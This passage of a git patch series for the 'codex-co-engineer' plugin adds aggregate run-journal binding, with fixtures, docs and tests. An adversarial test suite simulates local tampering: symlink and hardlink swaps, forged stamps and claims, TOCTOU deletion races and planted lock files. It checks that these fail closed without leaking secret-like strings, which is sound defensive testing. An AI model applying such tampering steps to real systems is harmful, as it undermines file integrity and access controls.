operation) { return current; } +function bindingDigestOf(binding, journalMode) { + return journalMode === JOURNAL_MODE_AGGREGATE ? binding.binding_digest : binding.canonical_digest; +} + async function buildHandle(parsed, binding, mode) { const { root, store, runId } = parsed; - if (binding.run_id !== runId || typeof binding.canonical_digest !== 'string' - || !capturedTest(SHA256_DIGEST_PATTERN, binding.canonical_digest)) { + const journalMode = parsed.journalMode ?? JOURNAL_MODE_LEGACY; + const digest = bindingDigestOf(binding, journalMode); + if (binding.run_id !== runId || typeof digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, digest)) { failJournal('run_journal_identity_mismatch', 'run_id', 'The bound record must carry the exact requested run identity.'); } const rootToken = await openDirectoryHandle(root, 'root'); try { - await verifyRootSeparation(store, rootToken); + if (journalMode === JOURNAL_MODE_AGGREGATE) { + await verifyAggregateRootSeparation(parsed.anchor, rootToken); + } else { + await verifyRootSeparation(store, rootToken); + } const rootNames = await enumerateDirectory(rootToken, MAX_RUN_JOURNAL_ROOT_ENTRIES, 'root'); if (!rootNames.includes('runs')) { if (mode !== 'create') { @@ -1666,24 +1678,32 @@ async function buildHandle(parsed, binding, mode) { 'The run directory name must equal the bound run id.'); } if (mode === 'create') { - await verifyCreationStamp(dirToken, binding).then(() => { + await verifyCreationStamp(dirToken, binding, journalMode).then(() => { failJournal('run_journal_already_exists', 'run_id', 'A run journal already exists for that run identity.'); }, (error) => { + if (error instanceof RunContractV1Error + && error.code === 'run_journal_identity_conflict') { + throw error; + } if (!(error instanceof RunContractV1Error && error.code === 'run_journal_dir_rebound')) throw error; }); - await writeCreationStamp(dirToken, binding, RANDOM_BYTES(16).toString('hex')); + await writeCreationStamp( + dirToken, binding, RANDOM_BYTES(16).toString('hex'), journalMode, + ); } else { - await verifyCreationStamp(dirToken, binding); + await verifyCreationStamp(dirToken, binding, journalMode); } - const fingerprint = runFingerprint(binding.run_id, binding.canonical_digest); + const fingerprint = runFingerprint(binding.run_id, digest); return assembleHandle({ root, store, + anchor: parsed.anchor, runId, binding, fingerprint, + journalMode, rootToken: capturedFreeze({ path: rootToken.path, dev: rootToken.dev, ino: rootToken.ino }), runsToken: capturedFreeze({ path: runsToken.path, dev: runsToken.dev, ino: runsToken.ino }), dirToken: capturedFreeze({ path: dirToken.path, dev: dirToken.dev, ino: dirToken.ino }), @@ -1719,7 +1739,8 @@ async function bindRecord(store, runId) { } function assembleHandle(context) { - const { store, runId, binding, fingerprint, rootToken, dirToken } = context; + const { store, anchor, runId, binding, fingerprint, rootToken, dirToken } = context; + const journalMode = context.journalMode ?? JOURNAL_MODE_LEGACY; // Snapshot cache for the serialized operation chain. Reads always fully // re-audit; a locked mutation may reuse the snapshot only while the journal // bytes are exactly the audited ones, so any external modification forces a @@ -1727,6 +1748,14 @@ function assembleHandle(context) { let snapshot = null; async function rebind() { + if (journalMode === JOURNAL_MODE_AGGREGATE) { + const fresh = await bindAggregateResolution(anchor, runId); + if (fresh.binding_digest !== binding.binding_digest) { + failJournal('run_journal_identity_conflict', 'run_id', + 'The aggregate resolution identity does not match this journal binding.'); + } + return fresh; + } const fresh = await bindRecord(store, runId); if (fresh.canonical_digest !== binding.canonical_digest) { failJournal('run_journal_identity_mismatch', 'run_id', @@ -1742,10 +1771,14 @@ function assembleHandle(context) { let dirOpened = null; try { dirOpened = await reopenAndVerify(dirToken, 'directory'); - await verifyCreationStamp(dirOpened, binding); + await verifyCreationStamp(dirOpened, binding, journalMode); let lockToken = null; try { if (mutating) lockToken = await acquireRunLock(dirOpened); + if (journalMode === JOURNAL_MODE_AGGREGATE) { + await rebind(); + await verifyCreationStamp(dirOpened, binding, journalMode); + } const result = await fn(dirOpened, lockToken); const rootAfter = await reopenAndVerify(rootToken, 'root'); await rootAfter.handle.close().catch(() => {}); @@ -1760,12 +1793,24 @@ function assembleHandle(context) { }); } + const identityFields = journalMode === JOURNAL_MODE_AGGREGATE + ? { + root: rootToken.path, + directory: dirToken.path, + run_id: runId, + aggregate_binding_digest: binding.binding_digest, + run_fingerprint: fingerprint, + } + : { + root: rootToken.path, + directory: dirToken.path, + run_id: runId, + record_canonical_digest: binding.canonical_digest, + run_fingerprint: fingerprint, + }; + return capturedFreeze({ - root: rootToken.path, - directory: dirToken.path, - run_id: runId, - record_canonical_digest: binding.canonical_digest, - run_fingerprint: fingerprint, + ...identityFields, async currentState() { return operate(true, async (dirOpened) => { @@ -2165,3 +2210,19 @@ export async function openRunJournal(options) { await handle.currentState(); return handle; } + +export async function createAggregateRunJournal(options) { + const parsed = parseAggregateJournalOptions(options); + const binding = await bindAggregateResolution(parsed.anchor, parsed.runId); + const handle = await buildHandle(parsed, binding, 'create'); + await handle.currentState(); + return handle; +} + +export async function openAggregateRunJournal(options) { + const parsed = parseAggregateJournalOptions(options); + const binding = await bindAggregateResolution(parsed.anchor, parsed.runId); + const handle = await buildHandle(parsed, binding, 'open'); + await handle.currentState(); + return handle; +} From e6155a012db10fe46f74daf2b919f8671b325b4b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:08:09 +0000 Subject: [PATCH 043/151] test(run): prove legacy bytes and hostile aggregate bridge behavior Pin the accepted P25 stamp v1, fingerprint, six event kinds, first run_opened line, reducer/state/cursor domains, and legacy create/open entrypoints to fixed fixture bytes. Cover R24A resolution_ready happy paths on both the selection lattice and the direct-plan branch, plus exact reopen, restart replay, and cross-process appends through the existing journal lock. Hostile cases reject pre-resolution, missing/malformed/mismatched resolved-plan records, marker/claim/stamp swaps, wrong run/root, symlink/hardlink/non-regular files, foreign entries, lock/TOCTOU races, and a conflicting duplicate process identity, all with typed content-free diagnostics. Legacy and aggregate entrypoints never cross-open or share roots. P24/P25/R24A suites are unchanged. --- CHANGELOG.md | 18 + docs/future-work.md | 17 +- .../r1-run-journal-aggregate-fixtures.mjs | 58 +++ .../r1-run-journal-aggregate-worker.mjs | 45 +++ .../fixtures/r1-run-journal-legacy-bytes.json | 27 ++ ...run-journal-aggregate-adversarial.test.mjs | 370 ++++++++++++++++++ .../test/r1-run-journal-aggregate.test.mjs | 359 +++++++++++++++++ 7 files changed, 888 insertions(+), 6 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json create mode 100644 plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index 6d26bd4..bd83110 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,24 @@ ### Added +- **Aggregate journal binding after R24A resolution_ready (R25B).** Additive + `run-journal.mjs` gains stamp v2 and distinct + `createAggregateRunJournal` / `openAggregateRunJournal` entrypoints that + bind an existing P25 journal root/run identity to an exact validated R24A + marker, claim, anchor, coordination, and resolved-plan identity only after + that aggregate run is `resolution_ready` and the durable resolved-plan + record/digest re-verify. Legacy `createRunJournal` / `openRunJournal`, + stamp v1, fingerprint, six event kinds, reducer/state/cursor schemas, and + lock order stay byte- and behavior-identical; standalone P24/P25 callers + are unchanged. There is no migration, cross-open, root adoption, + empty-root inference, or legacy-to-aggregate fallback. Missing, + malformed, mismatched, or swapped R24A records, marker/claim/stamp + substitutions, symlink/hardlink/non-regular files, wrong run/root/plan, + stale phase/revision, and post-validation TOCTOU fail closed with typed + content-free errors. Identical aggregate identity reopens and replays + exactly; a different binding is a permanent conflict. Coverage lives in + `r1-run-journal-aggregate` and `r1-run-journal-aggregate-adversarial` + tests. R24A record publication remains in `aggregate-run-anchor.mjs`. - **Aggregate pre-dispatch run anchor for unresolved P05 selection.** Additive `aggregate-run-anchor.mjs` persists one immutable AggregateRunAnchorV1 plus absorbing coordination state for runs whose P05 provider/model selection is diff --git a/docs/future-work.md b/docs/future-work.md index 628a117..11afc01 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-22 +Last updated: 2026-08-23 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -23,11 +23,16 @@ aggregate pre-dispatch run anchor accepts its own existing private root marked `storage-root.v1` kind `aggregate_run_anchor`, binds identity with durable claims before run directories, and publishes full selection request/reply/resolved-plan records before absorbing coordination -references; it does not migrate or write into P24/P25. None of these -library layers implement the rest of the run runtime: there is no -scheduler, provider dispatch, workspace provisioning, cleanup, candidate -composition, `AttentionBatchV1`, supervisor/server journal wiring, or MCP -surface above the library layer. +references; it does not migrate or write into P24/P25. R25B is only the +binding bridge that can open the existing P25 journal against that exact +R24A identity after `resolution_ready`, using stamp v2 and distinct +aggregate entrypoints; it does not add event kinds, a second run lock, +scheduler, provider, workspace, server, or MCP wiring, and it never +migrates or cross-opens legacy P24/P25 state. None of these library layers +implement the rest of the run runtime: there is no scheduler, provider +dispatch, workspace provisioning, cleanup, candidate composition, +`AttentionBatchV1`, supervisor/server journal wiring, or MCP surface above +the library layer. Gate A remains the functional release authority; Gate B context-efficiency and Gate C credit economics stay advisory. diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs new file mode 100644 index 0000000..1d9b3da --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-fixtures.mjs @@ -0,0 +1,58 @@ +// Neutral builders for the R25B aggregate journal bridge. Tests own the +// assertions. These helpers never rank, migrate, or open a journal. + +import { initializeAggregateRunAnchorRoot } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './r1-aggregate-run-anchor-fixtures.mjs'; + +export { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +}; + +export async function makeResolvedAnchor({ + branch = 'selection', + runId = AGGREGATE_RUN_ID, + assignmentCount = 1, +} = {}) { + const root = await makePrivateRoot('r1-r25b-anchor-'); + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput({ runId, assignmentCount })); + if (branch === 'plan') { + await anchor.commitResolvedPlan({ + run_id: runId, + expected_revision: 0, + resolved_plan_record: makePlanInput(runId, true), + }); + } else { + const selection = makeSelectionRequest({ runId, assignmentCount }); + await anchor.commitSelectionRequest({ + run_id: runId, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + await anchor.commitSelectionResolution({ + run_id: runId, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + runId, selection.identity.request_id, defaultAnswers(assignmentCount), + ), + resolved_plan_record: makePlanInput(runId, true), + }); + } + return { root, anchor, runId }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs new file mode 100644 index 0000000..cf06b55 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-aggregate-worker.mjs @@ -0,0 +1,45 @@ +// Cross-process aggregate journal appender used by R25B concurrency tests. +// Usage: +// node r1-run-journal-aggregate-worker.mjs +// Appends `count` child_progress events and prints one JSON result line. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { openAggregateRunJournal } from '../../mcp/v3/run-journal.mjs'; + +const [anchorRoot, journalRoot, runId, rawCount, prefix] = process.argv.slice(2); +const count = Number.parseInt(rawCount, 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const anchor = await openAggregateRunAnchor(anchorRoot); + const journal = await openAggregateRunJournal({ + root: journalRoot, + anchor, + run_id: runId, + }); + let appended = 0; + let created = 0; + let deduped = 0; + for (let index = 0; index < count; index += 1) { + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `${prefix}.${index}` }, + dedupe_key: `${prefix}/${index}`, + }); + appended += 1; + if (result.created) created += 1; + if (result.deduped) deduped += 1; + } + emit({ ok: true, appended, created, deduped }); +} catch (error) { + emit({ + ok: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + message: String(error?.message ?? error).slice(0, 160), + }); + process.exit(1); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json new file mode 100644 index 0000000..3f97040 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-journal-legacy-bytes.json @@ -0,0 +1,27 @@ +{ + "stampSchemaV1": "codex-co-engineer.run-journal-created.v1", + "stampSchemaV2": "codex-co-engineer.run-journal-created.v2", + "stampV1Keys": ["nonce", "record_canonical_digest", "run_id", "schema"], + "stampV2Keys": ["binding_digest", "nonce", "run_id", "schema"], + "eventKinds": [ + "run_opened", + "child_started", + "child_progress", + "child_artifact", + "child_terminal", + "run_terminal" + ], + "entrySchema": "codex-co-engineer.run-journal-entry.v1", + "stateSchema": "codex-co-engineer.run-journal-state.v1", + "hashDomain": "codex-co-engineer.run-journal-hash.v1", + "cursorDomain": "codex-co-engineer.run-journal-cursor.v1", + "genesisPrev": "codex-co-engineer.run-journal.genesis.v1", + "lockSchema": "codex-co-engineer.run-journal-lock.v1", + "runOpenedHash": "sha256:461c5d6174792bddff12c3daa826e34e4c59f6855c98a352045abe831feeedd8", + "runOpenedLine": "{\"data\":{},\"hash\":\"sha256:461c5d6174792bddff12c3daa826e34e4c59f6855c98a352045abe831feeedd8\",\"kind\":\"run_opened\",\"prev\":\"codex-co-engineer.run-journal.genesis.v1\",\"schema\":\"codex-co-engineer.run-journal-entry.v1\",\"seq\":1}", + "fingerprintSample": { + "runId": "run-journal-bind", + "recordDigest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "fingerprint": "74afdc6e3bbfba9f083b121e356a7bf76cfc3f21c420f82c39e949fe49732a7d" + } +} diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs new file mode 100644 index 0000000..c19fdaf --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs @@ -0,0 +1,370 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { + chmod, + copyFile, + link, + lstat, + mkdir, + readdir, + readFile, + rm, + symlink, + unlink, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_JOURNAL_LOCK_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + createAggregateRunJournal, + openAggregateRunJournal, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + AGGREGATE_RUN_ID, + makePlanInput, + makePrivateRoot, + makeResolvedAnchor, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /sel-[0-9a-f]{32}/u); +} + +async function withReady(fn, options) { + const prepared = await makeResolvedAnchor(options); + const journalRoot = await makePrivateRoot('r1-r25b-adv-j-'); + try { + return await fn({ ...prepared, journalRoot }); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +test('missing, malformed, and mismatched resolved-plan records fail closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honest = await readFile(planPath); + await unlink(planPath); + const missing = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok([ + 'aggregate_run_record_corruption', + 'run_journal_aggregate_mismatch', + 'run_journal_aggregate_swapped', + ].includes(missing.code), missing.code); + assertNoSecret(missing); + assert.deepEqual(await readdir(journalRoot), []); + + await writeFile(planPath, '{"schema":"ATTACKER-SECRET"}\n'); + const malformed = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof malformed.code === 'string'); + assertNoSecret(malformed); + + await writeFile(planPath, honest); + const parsed = JSON.parse(honest.toString('utf8')); + parsed.canonical_digest = `sha256:${'0'.repeat(64)}`; + await writeFile(planPath, `${canonicalJsonStringify(parsed)}\n`); + const mismatched = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof mismatched.code === 'string'); + assertNoSecret(mismatched); + }); +}); + +test('wrong run, wrong plan complete flag, and incomplete plan inputs fail closed', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const wrongRun = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: 'aggregate-missing-run', + })); + assert.equal(wrongRun.code, 'aggregate_run_not_found'); + + const badPlan = makePlanInput(runId, false); + assert.equal(badPlan.complete, false); + void journalRoot; + }); +}); + +test('marker, claim, and aggregate stamp swaps fail closed without claiming journal state', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const markerPath = path.join(root, 'storage-root.v1'); + const claimPath = path.join(root, 'claims', `${runId}.json`); + const stampPath = path.join(root, 'runs', runId, 'created.json'); + const marker = await readFile(markerPath); + const claim = await readFile(claimPath); + const stamp = await readFile(stampPath); + + await writeFile(markerPath, `${canonicalJsonStringify({ + schema: 'codex-co-engineer.storage-root.v1', + kind: 'aggregate_run_anchor', + nonce: 'f'.repeat(32), + canonical_digest: `sha256:${'1'.repeat(64)}`, + })}\n`); + const markerSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof markerSwap.code === 'string'); + assertNoSecret(markerSwap); + await writeFile(markerPath, marker); + + await writeFile(claimPath, `${canonicalJsonStringify({ + ...JSON.parse(claim.toString('utf8')), + nonce: 'e'.repeat(32), + canonical_digest: `sha256:${'2'.repeat(64)}`, + })}\n`); + const claimSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof claimSwap.code === 'string'); + assertNoSecret(claimSwap); + await writeFile(claimPath, claim); + + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: 'codex-co-engineer.aggregate-run-created.v1', + run_id: runId, + record_canonical_digest: `sha256:${'3'.repeat(64)}`, + nonce: 'd'.repeat(32), + })}\n`); + const stampSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof stampSwap.code === 'string'); + assertNoSecret(stampSwap); + await writeFile(stampPath, stamp); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); + +test('symlink, hardlink, and non-regular aggregate identity files are not followed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const scratch = await makePrivateRoot('r1-r25b-adv-scratch-'); + try { + const outside = path.join(scratch, 'outside.json'); + await writeFile(outside, 'ATTACKER-SECRET\n'); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honest = await readFile(planPath); + await unlink(planPath); + await symlink(outside, planPath); + const linked = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok([ + 'run_journal_not_regular', + 'aggregate_run_not_regular', + 'aggregate_run_record_corruption', + ].includes(linked.code), linked.code); + assertNoSecret(linked); + await unlink(planPath); + await writeFile(planPath, honest); + + const claimPath = path.join(root, 'claims', `${runId}.json`); + const claimBytes = await readFile(claimPath); + await unlink(claimPath); + await symlink(outside, claimPath); + const claimLink = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof claimLink.code === 'string'); + assertNoSecret(claimLink); + await unlink(claimPath); + await writeFile(claimPath, claimBytes); + + await mkdir(path.join(scratch, 'dir-plan'), { mode: 0o700 }); + await unlink(planPath); + await symlink(path.join(scratch, 'dir-plan'), planPath); + const nonregular = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof nonregular.code === 'string'); + await unlink(planPath); + await writeFile(planPath, honest); + + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await journal.append({ kind: 'run_opened', data: {} }); + const twin = path.join(scratch, 'twin.jsonl'); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + await copyFile(journalPath, twin); + await unlink(journalPath); + await link(twin, journalPath); + assert.equal((await lstat(journalPath)).nlink, 2); + const hardlinked = await errorOf(() => journal.currentState()); + assert.equal(hardlinked.code, 'run_journal_not_regular'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); + +test('foreign journal entries and a swapped journal stamp conflict permanently', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await writeFile(path.join(journal.directory, 'foreign.txt'), 'nope\n'); + const foreign = await errorOf(() => journal.currentState()); + assert.equal(foreign.code, 'run_journal_foreign_entry'); + await unlink(path.join(journal.directory, 'foreign.txt')); + + const stampPath = path.join(journal.directory, 'created.json'); + const honest = JSON.parse(await readFile(stampPath, 'utf8')); + await writeFile(stampPath, `${canonicalJsonStringify({ + ...honest, + binding_digest: `sha256:${'a'.repeat(64)}`, + })}\n`); + const conflict = await errorOf(() => journal.append({ kind: 'run_opened', data: {} })); + assert.equal(conflict.code, 'run_journal_identity_conflict'); + assertNoSecret(conflict); + + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_STAMP_SCHEMA_ID, + run_id: runId, + record_canonical_digest: `sha256:${'b'.repeat(64)}`, + nonce: honest.nonce, + })}\n`); + const rebound = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(rebound.code, 'run_journal_dir_rebound'); + + await writeFile(stampPath, `${canonicalJsonStringify(honest)}\n`); + const restored = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(restored.aggregate_binding_digest, honest.binding_digest); + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID_V2, honest.schema); + }); +}); + +test('post-validation TOCTOU on the resolved plan fails closed under the journal lock', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + await unlink(planPath); + const raced = await errorOf(() => journal.append({ kind: 'run_opened', data: {} })); + assert.ok([ + 'aggregate_run_record_corruption', + 'run_journal_aggregate_mismatch', + 'run_journal_aggregate_swapped', + 'run_journal_identity_conflict', + ].includes(raced.code), raced.code); + assertNoSecret(raced); + }); +}); + +test('a live foreign journal lock times out; a dead owner is recovered', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await journal.append({ kind: 'run_opened', data: {} }); + + const deadChild = spawn(process.execPath, ['-e', 'process.exit(0);']); + await new Promise((resolve) => deadChild.on('exit', resolve)); + await writeFile(path.join(journal.directory, 'lock'), `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: deadChild.pid, + nonce: 'a'.repeat(32), + })}\n`); + const recovered = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + }); + assert.equal(recovered.created, true); + + const holder = spawn(process.execPath, ['-e', 'setTimeout(() => {}, 30000);']); + try { + await writeFile(path.join(journal.directory, 'lock'), `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: holder.pid, + nonce: 'b'.repeat(32), + })}\n`); + const timeout = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.blocked' }, + })); + assert.equal(timeout.code, 'run_journal_lock_timeout'); + } finally { + holder.kill('SIGKILL'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('duplicate conflicting process identity is a permanent typed conflict', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const stampPath = path.join(journal.directory, 'created.json'); + const honest = JSON.parse(await readFile(stampPath, 'utf8')); + await writeFile(stampPath, `${canonicalJsonStringify({ + ...honest, + binding_digest: `sha256:${'c'.repeat(64)}`, + })}\n`); + const first = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + const second = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(first.code, 'run_journal_identity_conflict'); + assert.equal(second.code, 'run_journal_identity_conflict'); + assertNoSecret(first); + assertNoSecret(second); + }); +}); + +test('journal root foreign files, group-readable roots, and shared runs dirs fail closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const openRuns = await errorOf(() => createAggregateRunJournal({ + root: path.join(root, 'runs'), anchor, run_id: runId, + })); + assert.equal(openRuns.code, 'run_journal_root_shared'); + + const other = await makePrivateRoot('r1-r25b-adv-mode-'); + try { + await chmod(other, 0o755); + const unsafe = await errorOf(() => createAggregateRunJournal({ + root: other, anchor, run_id: runId, + })); + assert.equal(unsafe.code, 'run_journal_unsafe_path'); + } finally { + await chmod(other, 0o700).catch(() => {}); + await rm(other, { recursive: true, force: true }); + } + + await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await writeFile(path.join(journalRoot, 'foreign-root.txt'), 'nope\n'); + const foreignRoot = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(foreignRoot.code, 'run_journal_foreign_entry'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs new file mode 100644 index 0000000..de49461 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs @@ -0,0 +1,359 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { readFile, readdir, rm, writeFile } from 'node:fs/promises'; +import { fileURLToPath } from 'node:url'; +import path from 'node:path'; +import test from 'node:test'; + +import { initializeAggregateRunAnchorRoot } from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_JOURNAL_CURSOR_DOMAIN, + RUN_JOURNAL_STAMP_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + bindAggregateResolution, + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, + validateBoundAggregateResolution, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_HASH_DOMAIN, + RUN_JOURNAL_STATE_SCHEMA_ID, +} from '../mcp/v3/run-reducer.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + AGGREGATE_RUN_ID, + makePrivateRoot, + makeResolvedAnchor, + makeSubmitInput, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +const GOLDEN = JSON.parse(await readFile( + new URL('./fixtures/r1-run-journal-legacy-bytes.json', import.meta.url), + 'utf8', +)); +const WORKER = fileURLToPath(new URL('./fixtures/r1-run-journal-aggregate-worker.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(JSON.stringify(error), /ATTACKER-SECRET/u); +} + +async function withAggregateJournal(fn, { branch = 'selection', runId = AGGREGATE_RUN_ID } = {}) { + const prepared = await makeResolvedAnchor({ branch, runId }); + const journalRoot = await makePrivateRoot('r1-r25b-journal-'); + try { + const journal = await createAggregateRunJournal({ + root: journalRoot, + anchor: prepared.anchor, + run_id: runId, + }); + return await fn({ + ...prepared, + journalRoot, + journal, + }); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +function spawnWorker({ anchorRoot, journalRoot, runId, count, prefix }) { + const child = spawn(process.execPath, [ + WORKER, anchorRoot, journalRoot, runId, String(count), prefix, + ]); + let 